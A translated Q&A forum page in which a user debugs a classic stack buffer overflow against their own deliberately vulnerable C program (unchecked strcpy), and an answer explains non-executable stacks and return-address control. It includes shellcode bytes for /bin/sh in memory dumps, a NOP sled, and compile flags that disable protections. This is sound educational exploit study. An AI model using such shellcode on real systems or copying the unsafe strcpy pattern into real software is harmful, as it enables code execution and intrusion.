Desbordamiento de búfer simple en mac El Capitan?

4

Estoy tratando de hacer un desbordamiento de búfer simple que solo llama a / bin / sh pero parece que no puede hacerlo funcionar, solo segfaults. Este mismo exploit funcionó en un vm de linux que porté a mi mac. En lo que a mí respecta, tengo control de EIP y apunta a mi nopsled. He intentado algunas direcciones dentro de mi nariz pero sin suerte. También he intentado ajustar los nopsled antes y después de mi código de shell, pero todavía no he tenido suerte.

Aquí está el código c que estoy explotando:

#include <stdio.h>

int main(int argc, char **argv){
    char buf[128];
    strcpy(buf,argv[1]);
}

Compilar:

$gcc -g -m32 -fno-stack-protector -o basic basic.c

El desmontaje de main:

   (gdb) disas main
   0x00001f40 <+0>: push   %ebp
   0x00001f41 <+1>: mov    %esp,%ebp
   0x00001f43 <+3>: push   %esi
   0x00001f44 <+4>: sub    $0xa4,%esp
   0x00001f4a <+10>:    mov    0xc(%ebp),%eax
   0x00001f4d <+13>:    mov    0x8(%ebp),%ecx
   0x00001f50 <+16>:    xor    %edx,%edx
   0x00001f52 <+18>:    lea    -0x8c(%ebp),%esi
   0x00001f58 <+24>:    mov    %ecx,-0x8(%ebp)
   0x00001f5b <+27>:    mov    %eax,-0xc(%ebp)
   0x00001f5e <+30>:    mov    -0xc(%ebp),%eax
   0x00001f61 <+33>:    mov    0x4(%eax),%eax
   0x00001f64 <+36>:    mov    %esp,%ecx
   0x00001f66 <+38>:    mov    %eax,0x4(%ecx)
   0x00001f69 <+41>:    mov    %esi,(%ecx)
   0x00001f6b <+43>:    mov    %edx,-0x90(%ebp)
   0x00001f71 <+49>:    call   0x1f8e
   0x00001f76 <+54>:    mov    -0x90(%ebp),%ecx
   0x00001f7c <+60>:    mov    %eax,-0x94(%ebp)
   0x00001f82 <+66>:    mov    %ecx,%eax
   0x00001f84 <+68>:    add    $0xa4,%esp
   0x00001f8a <+74>:    pop    %esi
   0x00001f8b <+75>:    pop    %ebp

strcpy () es la llamada en * main + 49, por lo que puse un descanso en * main + 54 y lo ejecuto en mi carga útil e inspecciono el área alrededor de esp ...

(gdb) b *main+54
Breakpoint 1 at 0x1f76: file basic.c, line 8.
(gdb) r 'cat payload'
Starting program: /Users/mnaymik/Desktop/test/basic 'cat payload'

Breakpoint 1, main (argc=-1869574000, argv=0x4e68732f) at basic.c:8
8   }
(gdb) x/40x $esp
0xbffffae0: 0xbffffafc  0xbffffc86  0x00000000  0x00000000
0xbffffaf0: 0x00000000  0x00000000  0x00000000  0x90909090
0xbffffb00: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffffb10: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffffb20: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffffb30: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffffb40: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffffb50: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffffb60: 0x31c03190  0x31c931db  0xeb0bb0d2  0x4b885b06
0xbffffb70: 0xe880cd07  0xfffffff5  0x6e69622f  0x4e68732f

Mi shellcode se está metiendo en la memoria y parece que sobrescribe el EIP con la dirección correcta. ¿Pero obtengo un error de acceso para 0xc7000000?

(gdb) s
Warning:
Cannot insert breakpoint 0.
Cannot access memory at address 0xc7000000

0xbffffb10 in ?? ()
(gdb) i r
eax            0x0  0
ecx            0x0  0
edx            0x0  0
ebx            0xbffffc1c   -1073742820
esp            0xbffffb90   0xbffffb90
ebp            0x90909090   0x90909090
esi            0x90909090   -1869574000
edi            0x0  0
eip            0xbffffb10   0xbffffb10
eflags         0x386    [ PF SF TF IF ]
cs             0x1b 27
ss             0x23 35
ds             0x23 35
es             0x23 35
fs             0x0  0
gs             0xf  15

¿Alguien tiene alguna idea de lo que estoy haciendo mal?

EDIT:

Tuve que reconstruir gcc y ld ya que no había ninguna marca -z en mi versión en mi publicación original. Así que las compensaciones han cambiado ligeramente.

Así que establecí un punto de interrupción justo después de call strcpy

(gdb) r 'cat pl'

Breakpoint 1, 0x565555d8 in main (
    argc=<error reading variable: Cannot access memory at address 0x45455645>, 
    argv=<error reading variable: Cannot access memory at address 0x45455649>)
    at basic.c:7
7       strcpy(buf,argv[1]);

EBP es @ 0xffffd1f8

(gdb) i r
eax            0xffffd170   -11920
ecx            0xffffd4e0   -11040
edx            0xffffd1f9   -11783
ebx            0x56557000   1448439808
esp            0xffffd160   0xffffd160
ebp            0xffffd1f8   0xffffd1f8
esi            0x2  2
edi            0xf7fab000   -134565888
eip            0x565555d8   0x565555d8 <main+56>
eflags         0x202    [ IF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99

He reemplazado ebp + 4 para que contenga una dirección donde mi nopsled es:

(gdb) x/40x $esp
0xffffd160: 0xffffd170  0xffffd453  0xf7ffd918  0x565555b7
0xffffd170: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd180: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd190: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd1a0: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd1b0: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd1c0: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd1d0: 0xc389c031  0x80cd17b0  0x6852d231  0x68732f6e
0xffffd1e0: 0x622f2f68  0x52e38969  0x8de18953  0x80cd0b42
0xffffd1f0: 0x41414141  0x41414141  0x41414141  0xffffd180

(gdb) x/2x $ebp
0xffffd1f8: 0x41414141  0xffffd180

Sin suerte, esto es lo que obtengo:

(gdb) continue
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x565555e9 in main (
    argc=<error reading variable: Cannot access memory at address 0x41414141>, 
    argv=<error reading variable: Cannot access memory at address 0x41414145>)
    at basic.c:8
8   }
(gdb) i r
eax            0x0  0
ecx            0x41414141   1094795585
edx            0xffffd1fd   -11779
ebx            0x41414141   1094795585
esp            0x4141413d   0x4141413d
ebp            0x41414141   0x41414141
esi            0x2  2
edi            0xf7fab000   -134565888
eip            0x565555e9   0x565555e9 <main+73>
eflags         0x10282  [ SF IF RF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99

SOLVED:

La respuesta aceptada a esta publicación lo explica ( enlace ) Borrar las variables env y compilar con gcc -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 -g vuln.c -o vuln lo convirtió en un BO de vainilla

    
pregunta Nitro 15.03.2017 - 02:42
fuente

1 respuesta

3

Para que las instrucciones escritas en la pila de tiempo de ejecución se ejecuten, la pila debe tener el permiso de ejecución establecido en verdadero.

  

$gcc -g -m32 -fno-stack-protector -o basic basic.c

Cuando se compila con estos argumentos, los permisos de los segmentos de proceso son los siguientes:

$ readelf -l basic

Elf file type is EXEC (Executable file)
Entry point 0x8048310
There are 9 program headers, starting at offset 52

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x005c8 0x005c8 R E 0x1000
  LOAD           0x000f08 0x08049f08 0x08049f08 0x00114 0x00118 RW  0x1000
  DYNAMIC        0x000f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x00044 0x00044 R   0x4
  GNU_EH_FRAME   0x0004d0 0x080484d0 0x080484d0 0x0002c 0x0002c R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10 < Notice!
  GNU_RELRO      0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R   0x1

La pila de tiempo de ejecución tiene permisos de lectura y escritura, pero no es ejecutable. Esto es lo que está causando el segfault. La CPU está intentando ejecutar instrucciones ubicadas en una dirección en la memoria virtual que solo tiene permisos RW.

Para solucionar esto, compile el código fuente con los argumentos -z execstack a gcc :

$ gcc -g -m32 -fno-stack-protector -z execstack -o basic basic.c

Ahora la pila es ejecutable:

$ readelf -l basic

Elf file type is EXEC (Executable file)
Entry point 0x8048310
There are 9 program headers, starting at offset 52

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x005c8 0x005c8 R E 0x1000
  LOAD           0x000f08 0x08049f08 0x08049f08 0x00114 0x00118 RW  0x1000
  DYNAMIC        0x000f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x00044 0x00044 R   0x4
  GNU_EH_FRAME   0x0004d0 0x080484d0 0x080484d0 0x0002c 0x0002c R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10 < Notice!
  GNU_RELRO      0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R   0x1

La CPU ahora debería poder ejecutar las instrucciones ubicadas en la pila de tiempo de ejecución del programa sin que se produzca un fallo de seguridad.

Actualización : tanto ebp como esi (parte del preámbulo de esta función) se han sobrescrito con las instrucciones NOP, por lo que es probable que la dirección de retorno en 4(ebp) también se haya sobrescrito , causando que se escriban 4 instrucciones NOP en eip , lo que da como resultado la nueva falta de seguridad en 0x90909090 en lugar de en 0xc7000000 .

Cuando se trata de desbordamientos de búfer en la pila, ganar el control de EIP gira alrededor de la instrucción ret , la contraparte de call , ya que es esta instrucción la que puede escribir en eip . Para call :

  

Al ejecutar una llamada cercana, el procesador inserta el valor del registro EIP (que contiene el desplazamiento de la instrucción que sigue a la instrucción CALL) en la pila (para su uso posterior como indicador de instrucción de retorno). El procesador luego se bifurca a la dirección en el segmento de código actual especificado con el operando de destino.

y ret (énfasis):

  

Al ejecutar un retorno cercano, el procesador coloca el puntero de instrucción de retorno (offset) de la parte superior de la pila en el registro EIP y comienza la ejecución del programa con el nuevo puntero de instrucción.

Esto significa que la dirección de memoria de una instrucción ejecutable en lugar de una secuencia de instrucciones debe ubicarse en 4(ebp) ya que aquí es donde call presionó la dirección de retorno. Esto significa que el número de NOPS debe calcularse de manera precisa, de manera que la dirección de memoria de la primera instrucción que se ejecuta se escriba en donde call escribió la dirección de retorno - 4(ebp) . Lo que sea que esté en esta ubicación será tratado por eip como una dirección de memoria (el puntero de instrucción de retorno), no un código ejecutable. Esto debe tenerse en cuenta al construir su carga útil.

De la sección "Código de Shell" de Destrozando la pila por diversión y ganancias (énfasis mío):

  

Así que ahora que sabemos que podemos modificar la dirección de retorno y el flujo de   Ejecución, ¿qué programa queremos ejecutar? En la mayoría de los casos, simplemente   quiere que el programa genere un shell. Desde el shell podemos emitir otras.   ordena como deseamos. Pero qué pasa si no hay tal código en el programa que   están tratando de explotar? ¿Cómo podemos colocar instrucción arbitraria en su   ¿espacio de dirección? La respuesta es colocar el código que estamos tratando de ejecutar en el búfer que estamos desbordando, y sobrescribir la dirección de retorno para que apunte de nuevo al búfer .

    
respondido por el SYS_V 16.03.2017 - 23:39
fuente

Lea otras preguntas en las etiquetas